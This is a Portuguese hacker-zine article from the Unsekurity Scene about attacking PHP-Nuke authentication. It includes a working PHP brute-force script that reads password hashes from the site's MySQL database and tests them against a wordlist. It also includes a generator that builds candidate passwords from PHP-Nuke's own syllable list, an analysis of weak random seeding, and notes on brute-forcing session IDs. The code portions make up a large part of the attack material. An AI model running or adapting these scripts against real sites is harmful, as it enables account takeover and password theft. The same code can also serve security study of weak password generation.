UNSEKURITY SCENE

http://unsekurity.virtualave.net/

Desenvolvido por Nash Leon vulgo coracaodeleao.
Nash Leon - nashleon@yahoo.com.br

Breaking Study: Sistemas de Autenticação (Parte I – Web Systems)

---
1 - Introdução |

Este documento aborda a possibilidade de criação de exploits específicos para uma determinada aplicação a partir do estudo da aplicação em si. A Análise de código fonte ou de respostas pode ajudar no tempo de quebra da segurança do mesmo e dá uma introdução teórica a um dos ataques mais utilizados na atualidade, capaz de quebrar inúmeros sistemas, o ataque do tipo WEBID.

Os exemplos aqui disponibilizados são mais teóricos do que práticos e o PHPNUKE foi escolhido como alvo apenas para ilustrar o que pode ser feito usando as tecnicas disponíveis. Em outro documento escrito por mim, foi abordado alguns aspectos de hacking para o MySQL e algumas teorias sobre técnicas muito usadas por atacantes para sistemas *SQL(Veja Links).

Pré-requisitos para este simples artigo é conhecimentos básicos de php, Mysql e Criptografia.

---
2 - Usando login() para cracking |

O que eu desejo ilustrar com este item, é a possibilidade de utilizarmos as próprias funções de autenticação em programas de brute force. Para isso, basta conhecermos as funções de autenticação e alterarmos o que for necessário.

O ataque descrito no exploit abaixo leva em consideracao que o atacante possua permissao de acesso ao banco de dados.

---------- brutepn.php ----------

```
<?
/* Exploit em PHP para atacar o PHP-NUKE.
 * nashleon@yahoo.com.br
 *
 * Varios sao os pre-requisitos:
 *
 * Eh importante ter acesso privilegiado no mysql
 * A permissao precisa fornecer conexao na database do
 * PHP-NUKE. Geralmente estah especificado no arquivo
 * config.php, caso tenha acesso ao mesmo, procure por:
 *
 *  $dbhost = "localhost";
 *  $dbuname = "root";
 *  $dbpass = "";
 *  $dbname = "nuke";
 *  $system = 0;
 *  $prefix = "nuke";
 *
 * Thanks Unsekurity Scene.
 * http://unsekurity.virtualave.net/
 */

/* Funcao responsavel pelo brutal force
 * Funcao login() do arquivo user.php
 * com alteracoes basicas.
 */

if($confirmar == NULL){
print "Exemplo de Brutal Force para PHP-NUKE(Host Remoto)<BR><BR>";
print "Nash Leon - nashleon@yahoo.com.br<BR><BR>";
print "<FORM ACTION=\"brutepn.php\" METHOD=\"post\">";
```

```
print "Login do Usuario Alvo: ";
print "<input type=\"text\" name=\"login\" size=10 maxlenghth=30>\n";
print "<BR>PassList: ";
print "<input type=\"text\" name=\"arq_pass\" size=10 maxlenghth=30>\n";
print "<BR><BR>";
print "<input type=\"hidden\" name =\"confirmar\" value=\"OK\">\n";
print "<input type=\"submit\" value=\"Enviar\">\n";
print "<input type=\"reset\" value=\"Apagar\">\n";
print "</FORM>";
}
else {

/* funcao que executarah o brute force */

function crack($log, $arqpass){

/* Conectamos no Banco de Dados Mysql */

$conecta = mysql_connect("localhost","root",NULL);

if($conecta == NULL){
print "Erro na Conexao com o Mysql!";
exit;
}

/* Selecionamos a database */

mysql_select_db("nuke");

$result = mysql_query("select pass, uid, storynum, umode, uorder,thold, noscore,
ublockon, theme, commentmax from nuke_users where uname='$log'", $conecta);

if(mysql_num_rows($result)==1) {
$setinfo = mysql_fetch_array($result);
$dbpass=$setinfo[pass];

// para efeito de depuracao, a string do database encriptada
//print "dbpass: $dbpass<BR><BR>";

$passlist = fopen($arqpass,"r");
if($passlist == NULL){
 print "Falha na abertura do arquivo de logins";
 exit;
}

while(!feof($passlist)){
$senha = fgets($passlist,100);
```

```
        if(!$system) {
          $pass=crypt($senha,substr($dbpass,0,2));

//      print "passcrypt: $pass<BR>"; o pass recebido encriptado
        }
        if (!strcmp($dbpass,$pass)) {
        print "Senha encontrada: $senha";
        mysql_close($conecta);
        exit;
    }
  }
}

mysql_close($conecta);

} // function
crack($login,$arq_pass);
print "Programa terminado!";
}
?>
```

Note que eu não me dei nem ao trabalho de alterar o "query" que é enviado pela funcao login() do PHPNUKE, justamente para ilustrar um brute force feito em cima do próprio código de autenticação.

Através de um arquivo de passwords, pode-se conseguir uma conta valida para o login especificado.

As senhas das contas do PHPNUKE são "pseudo-aleatorias" e construidas pela seguinte funcao:

------ retirada de user.php ------

```
function makePass() {
    $makepass="";

$syllables="er,in,tia,wol,fe,pre,vet,jo,nes,al,len,son,cha,ir,ler,bo,ok,
tio,nar,sim,ple,bla,ten,toe,cho,co,lat,spe,ak,er,po,co,lor,pen,cil,li,ght,wh,
at,the,he,ck,is,mam,bo,no,fi,ve,any,way,pol,iti,cs,ra,dio,sou,rce,sea,rch,pa,
per,com,bo,sp,eak,st,fi,rst,gr,oup,boy,ea,gle,tr,ail,bi,ble,brb,pri,dee,kay,
en,be,se";

    $syllable_array=explode(",", $syllables);
    srand((double)microtime()*1000000);
```

```
    for ($count=1;$count<=4;$count++) {
        if (rand()%10 == 1) {
            $makepass .= sprintf("%0.0f",(rand()%50)+1);
        } else {
            $makepass .= sprintf("%s",$syllable_array[rand()%62]);
        }
    }
    return($makepass);
}
--------------------------
```

São as senhas de difícil descoberta?

Analise bem o codigo e verá por si só, vamos encher um pouco de linguiça por aqui(escrever bobagem)..:)

```
if (rand()%10 == 1) {
   retorna [string_aleatoria] + [um numero aleatorio]
  }
else {
   retorna [string_aleatoria]
}
```

Na pratica, em um, nós teremos um número aleatório que pode ser de de 2 digitos, mas pode existir outro dentro da senha. Na outra possibilidade, teremos apenas a string aleatória, mas que possibilidades são essas?

```
if(rand()%10 == 1)
```

A função rand() do PHP é semelhante a do C, ou seja, gera um valor pseudo-aleatório entre 0 e RAND_MAX, sendo que devemos usar srand() para setar o tempo de pesquisa para a geracao de um número aleatorio, no caso do PHPNUKE, o programador investiu "pesado":

```
srand ((double) microtime() * 1000000);
```

Aleatorização em microsegundos, impedindo assim qualquer eventual brutal com base em "chutes" de quais dias, horas ou minutos, um usuário se cadastrou no sistema. O que mais dificulta nao eh uma boa implementacao de rand(), mas sim de srand(), para deixar bem ilustrado podemos usar o seguinte esquema:

+ colocar srand(1) no lugar de srand ((double) microtime() * 1000000);
+ retirar function e deixar o código livre;
+ acrescentar print "$makepass\n"; no final do script.

Depois poderiamos executar e vermos uma má implementacao de srand():

```
localhost:~/public_html$ php mpass.php
X-Powered-By: PHP/4.0.6
Content-type: text/html

ghtjowaycha
localhost:~/public_html$ php mpass.php
X-Powered-By: PHP/4.0.6
Content-type: text/html

ghtjowaycha
localhost:~/public_html$ php mpass.php
X-Powered-By: PHP/4.0.6
Content-type: text/html

ghtjowaycha
```

Devemos notar a repeticao de "ghtjowaycha" que é justamente a senha aleatória que foi gerada. Sem um intervalo de tempo, poderiamos presumir que todas as senhas geradas no dia 16/11, que foi quando eu escrevi esta parte, seriam "ghtjowaycha". Lógico que não existe nada tão trivial quanto srand(1), no entanto, se um sistema possui uma má implementação de srand(), se descobrirmos a senha de um user, poderiamos descobrir por tabela inúmeros passwords.

Isso é útil em alguma outra situação? – Sim. Alguns sistemas pseudo-randomicos utilizam funções que podem retornar um dado “constante” como funções que geram Números-Randômicos com base no cursor do mouse. Se uma máquina não possui mouse, então existe grande probabilidade de predizermos tal número.

Mas vamos voltar a analisar o srand() do PHP-NUKE:

Manipulando apenas o código de randomização, teriamos algo como:

---------- ran.php ----------

```
<?
/* Estudando a randomizacao do PHP-NUKE */

$i = (double) microtime();
print "microtime: $i\n\n";

srand((double)microtime()*1000000);
```

```
$r10 = rand()%10;

print "rand()%10: $r10\n\n";

   for ($count=1;$count<=4;$count++) {
       if (rand()%10 == 1) {
            $mi  = rand()%50;
             print "$count rand()%50: $mi\n\n";
       } else {
           $mi = rand()%62;
           print "$count array: $mi\n";

       }
echo;
}
?>
```

```
localhost:~/public_html$ php ran.php
X-Powered-By: PHP/4.0.6
Content-type: text/html

microtime: 0.954431

rand()%10: 7

1 rand()%50: 28

2 array: 25
3 array: 6
4 array: 28
```

O que podemos analisar com isso?

Que dentro do proprio for(), a aleatorização em microsegundos faz com que rand() possua vários valores, inclusive rand()%10 possa ser igual a 1. Notamos com isso, que de fato, srand() é que é importante, de modo que, se amanhã viermos a analisar maiores implementacoes randômicas, poderemos atentar então ao manuseio de srand(). Para que não haja nenhuma duvida, alteremos o fonte, setando srand(1) ao invez de srand((double)microtime()*1000000) e vejamos a constância do resultado.

Voltando ao cracking, vamos analisar agora a array que é capturada:

```
$syllables="er,in,tia,wol,fe,pre,vet,jo,nes,al,len,son,cha,ir,ler,bo,ok,
tio,nar,sim,ple,bla,ten,toe,cho,co,lat,spe,ak,er,po,co,lor,pen,cil,li,ght,wh,
```

at,the,he,ck,is,mam,bo,no,fi,ve,any,way,pol,iti,cs,ra,dio,sou,rce,sea,rch,pa,
per,com,bo,sp,eak,st,fi,rst,gr,oup,boy,ea,gle,tr,ail,bi,ble,brb,pri,dee,kay,
en,be,se";

Então, se rand()%10 for igual a 1, captura a string atual e une retorno
de rand()%50 + 1:

$makepass .= sprintf("%0.0f",(rand()%50)+1);

senão, captura a string que está dentro da array $syllable_array[rand()%62]):

$makepass .= sprintf("%s",$syllable_array[rand()%62]);

Logo, nossa worlist tem que ser grande e necessariamente obedecer esta lógica. As chances de rand()%10 for igual a 1, é de ≅ 10%, logo, é aconselhavel que a maioria das senhas que iremos tentar seja apenas com strings.

Podemos entao usar o seguinte "Dictionary Maker":

---------- dm.php ----------
```
<?
/* Simples Gerador de PassList para
 * o PHPNUKE. Ilustra o uso do proprio codigo
 * de um programa alvo como exploit.
 * Nash Leon - nashleon@yahoo.com.br
 */


$syllables="er,in,tia,wol,fe,pre,vet,jo,nes,al,len,son,cha,ir,ler,bo,ok,
     tio,nar,sim,ple,bla,ten,toe,cho,co,lat,spe,ak,er,po,co,lor,pen,cil,
     li,ght,wh,at,the,he,ck,is,mam,bo,no,fi,ve,any,way,pol,iti,cs,ra,

dio,sou,rce,sea,rch,pa,per,com,bo,sp,eak,st,fi,rst,gr,oup,boy,ea,gle,
     tr,ail,bi,ble,brb,pri,dee,kay,en,be,se";
$syllable_array=explode(",", $syllables);

$arquivo = "senhas.txt"; // Arquivo que irah ter as senhas
$num_senhas = 200000; // numero de senhas desejadas

$sen = fopen($arquivo,"w");
if($sen == NULL){
print "Falha na abertura do Arquivo de Gravacao!";
exit;
}

srand((double)microtime()*1000000);
for($i = 0; $i < $num_senhas; $i++){
```

```
  $makepass="";
     for ($count=1;$count<=4;$count++) {
          $makepass .= sprintf("%s",$syllable_array[rand()%62]);
       }
    fputs($sen,"$makepass\n");
}

print "Programa Terminado com Sucesso! Veja $arquivo\n";
?>
```

Ai está um exemplo usando o próprio codigo disponibilizado. Deve-se prestar atenção que não é nada interessante tentar utilizar uma passlist gigantesca pra quebrar o sistema remotamente porque vai sobrecarregar o mesmo, e isso nao eh nada legal!

O que vimos no decorrer deste item é o uso da própria função login() do PHPNUKE sendo usada para quebra do sistema. Um estudo profundo do alvo pode nos dar inúmeros meios de se passar pelo mesmo e com softs melhores, seremos capazes de automatizar essa tarefa.

---

3 - Atacando usando WEBID |

Recentemente(01/11/2001), um artigo disponibilizado pela Idefense descreveu a técnica de brute force em "Sessões ID" e como explorá-la em várias situações.

No caso do PHPNuke é muito complexo! Mas pode sim ser tentada! Como vimos, uma senha do PHPNuke não é tão simples de obter, mas fuçando e estando determinado, é possível conseguir a quebra deste sistema de geração de números randômicos.

Com WebID, não é diferente. Abaixo temos algumas notas referente ao documento deDavid Endler da Idefense http://www.idefense.com.

"Quando algorítmos de criptografia fortes são usados na geração de sessões ID, é praticamente impossível predizer qual a próxima sequência de ID que será gerada na mesma aplicação. Todavia, muitas das aplicações WEB geram sessões IDs em um modo linear ou de maneira previsível, permitindo a um atacante descobrir ou aplicar brutal force através do uso de programas automatizados. Se uma Sessão ID pode seresquecida(desprezada) ou adivinhada, ela permite a um atacante fazer um brutal force para o logon de um usuário legítimo ,permitindo assim acessar a conta ou sequestrar uma sessão ativa.";

Uma Sessão ID é uma string de identificação usada para associar uma web page específica que é ativada por uma usuário específico no qual a situação atual da page é

preservada por uma aplicação web. Sessões ID podem ser usadas para preservar informações do usuário através de muitas páginas e através de sessões history(log), permitindo WEB sites de prover características semelhantes a sites personalizados (my.yahoo.com), guardar cartões de shopping online(cdnow.com), e webmail(mail.yahoo.com.br). Alguns servidores WEB irão gerar uma Sessão ID para usuários após eles visitarem qualquer
página no servidor pela primeira vez(Microsoft IIS, Apache e etc), adicionalmente outras aplicações executando naquele web server(Weblogic, PHPNuke) podem também gerar mais e diferentes tipos de Sessão ID para um usuário que tem autenticado com sucesso.

Sessões IDs são frequentemente armazazenadas em um cookie que geralmente é setado para expirar após o fechamento do navegador, estas são tipicamente conhecidas como "session cookies".

- Problemas com o uso de Session IDs na atualidade:

* **Weak Algorithm**: Muitas aplicações utilizam algorítmos linear baseados em
variáveis facilmente previsíveis, como a hora e o endereço IP. É relativamente fácil para um atacante reduzir o espaço necessário de pesquisa para produzir uma Sessão ID válida por simplesmente gerar muitas requisições e estudar a sequência padrão.

* **No form of Account Lockout**: Muitos websites tem proibições sobre a possibilidade de adivinhar passwords(pode bloquear uma conta ou parar de escutar pacotes vindos de um IP). Com respeito a ataques de Brutal Force a Sessoes IDs, um atacante pode provavelmente tentar centenas ou milhares de Sessões IDs embutidas em uma legítima URL sem uma única reclamação do Web server. Muitos sistemas de detecção de intrusos não ativam pesquisa para este ataque; testes de penetração têm frequentemente demonstrado as
fraquezas em sistemas de e-commerce.

* **Short Lenght**: Vários dos mais fortes algorítimos criptográficos permitem que a Sessão ID seja facilmente determinada em um ataque se o tamanho da string não for suficientemente grande.

* **Indefinite Expiration on Server**: Sessões ID que não expiram no webserver podem permitir um perverso tempo ilimitado para adivinhar uma Sessão ID.

* **Transmitted in the Clear**: Se o campo de Segurança de um cookie é setado como FALSO(sem SSL), o cookie pode ser capturado(sniffado). Adicionalmente, se a Sessão ID possui informação do logon atual(username, password, etc) na string capturada, então o trabalho de um atacante se torna trivial.

* **Insecure Retrievel**: Por forjar o navegador do usuário a visitar outro site, um atacante pode recuperar informação de Sessão ID armazenada e rapidamente explorar esta informação antes da sessão do usuário expirar. Isto pode ser feito de inúmeros modos: DNS poisoning, exploitando um bug no IE(i.e note que é atual este problema), exploitação através de cross-site scripting e etc.

Ataques

1 - Não tem muito segredo. Descobrir a lógica de como se aplica um sistema se Session ID (isso pode ser feito através da captura de sessões válidas, vide exemplo de captura de lógica de geração de senhas do PHP-NUKE citado neste documento) e forçar uma entrada através de brutal force da URL.

No documento de David Endler são descritos vários exemplos.

2 – Ataque de Brutal Force através de Cookies, que consiste em analisar os cookies recebidos, pode-se requisitar valores válidos e ver a resposta do servidor.

No documento também são descritos vários exemplos.

Pode-se usar qualquer navegador para efetuar o exame de Cookies Recebidos, mas o MINI-BROWSER(Mini-br) pode ser efetivo.

http://www.google.com/

Em Unix pode-se levar em conta o uso de uma ferramenta proxy que permita editar um conteúdo de um cookie antes dele ser transmitido ao servidor:

http://www.s21sec.com/download/httpush-current.tar.gz

Maiores informações podem ser observadas no documento da IDefense.

---

4 – Terminando |

Existe muita informação sobre “Hacking de WEB” que tem sido pouco massificada. Nenhum sistema WEB está imune aos diversos tipos de ataques, de modo que, para um fuçador, não há limite quanto aos possíveis meios de se efetuar com sucesso uma investida utilizando ataques menos conhecidos que os convencionais(Input Validation, Buffer Overflow, etc).
Neste documento procurei ser bem superficial em demonstrar os possíveis ataques que um sistema de “pseudo-randomização” pode oferecer, bem como repassei algumas notas sobre o ataque de WEBID que tem devastado muitos sistemas. Mas cabe a você, fuçador, ir mais longe nesses temas.

4.1 – Links e Referências

Documento de David Endler – http://www.idefense.com/

Site oficial do PHP-NUKE – http://phpnuke.org/

* Unsekurity Scene:

http://unsekurity.virtualave.net/

* Outros Muito Interessantes:

http://www.inf.ufsc.br/barata/
http://www.linuxsecurity.com.br/
http://www.bufferoverflow.org/
http://www.axur.org/
http://www.unsecurity.org/
http://www.insecurenet.com.br/
http://www.hackers.com.br/

http://www.atstake.com/
http://www.securityfocus.com/
http://www.2600.com/
http://www.ccc.de/
http://packetstorm.linuxsecurity.com/

4.2 – Considerações Finais
---

2 anos e meio de “peleja”, batalha, guerra! Publicar informações é bem mais difícil do que eu imaginava, mas ainda há gás e força para empunhar a bandeira da “Liberdade de Informação”. Após algum tempo a gente termina “amadurecendo” e passando a olhar as coisas de forma diferente. Não se pode fazer algo bom sem gostar do “fazer” e não se pode gostar do “fazer” sendo obrigado a fazer.

Motivações sinceras e altruístas estão em falta em todo o mundo. Só nos resta, com o pouco de força e vontade, dar sequência aquilo que outrora acreditamos. Dando um passo firme mas mais conciente de que só se pode chegar a algum lugar, se realmente nos esforçarmos. Depois de uma longa tempestade, posso ver um raio de luz surgindo no céu, e com ele a esperança.

Um Cordial Abraço,

Nash Leon.